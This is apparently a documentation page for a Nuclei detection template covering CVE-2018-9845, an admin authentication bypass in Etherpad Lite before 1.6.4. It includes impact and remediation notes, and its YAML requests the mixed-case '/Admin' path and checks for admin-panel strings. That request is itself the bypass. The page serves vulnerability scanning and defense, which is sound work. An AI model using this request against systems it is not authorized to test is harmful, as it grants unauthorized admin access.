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Etherpad Lite <1.6.4 - Admin Authentication Bypass

ID: CVE-2018-9845

Severity: critical

Author: philippedelteil

Tags: cve2018,cve,etherpad,auth-bypass

Description

Section titled “Description”

Etherpad Lite before 1.6.4 is exploitable for admin access.

YAML Source

Section titled “YAML Source”
id: CVE-2018-9845


info:
  name: Etherpad Lite <1.6.4 - Admin Authentication Bypass
  author: philippedelteil
  severity: critical
  description: Etherpad Lite before 1.6.4 is exploitable for admin access.
  impact: |
    An attacker can bypass the admin authentication and gain unauthorized access to the admin panel.
  remediation: |
    Upgrade to Etherpad Lite version 1.6.4 or later to fix the vulnerability.
  reference:
    - https://infosecwriteups.com/account-takeovers-believe-the-unbelievable-bb98a0c251a4
    - https://github.com/ether/etherpad-lite/commit/ffe24c3dd93efc73e0cbf924db9a0cc40be9511b
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9845
    - https://github.com/ether/etherpad-lite/blob/develop/CHANGELOG.md
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-9845
    cwe-id: CWE-178
    epss-score: 0.01393
    epss-percentile: 0.86371
    cpe: cpe:2.3:a:etherpad:etherpad_lite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: etherpad
    product: etherpad_lite
  tags: cve2018,cve,etherpad,auth-bypass


http:
  - method: GET
    path:
      - "{{BaseURL}}/Admin"


    host-redirects: true
    max-redirects: 2


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Etherpad version"
          - "Plugin manager"
          - "Installed parts"
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a00473045022050b80a2b7b7a8cafddfe9e8ebeeb0d039e7a5b987d9bd8014267a926c33adc96022100ecc8c3938cfc67cb968e27b901313a3063e843f52df13e9f5bd68a2cab1ec3de:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-9845.yaml"

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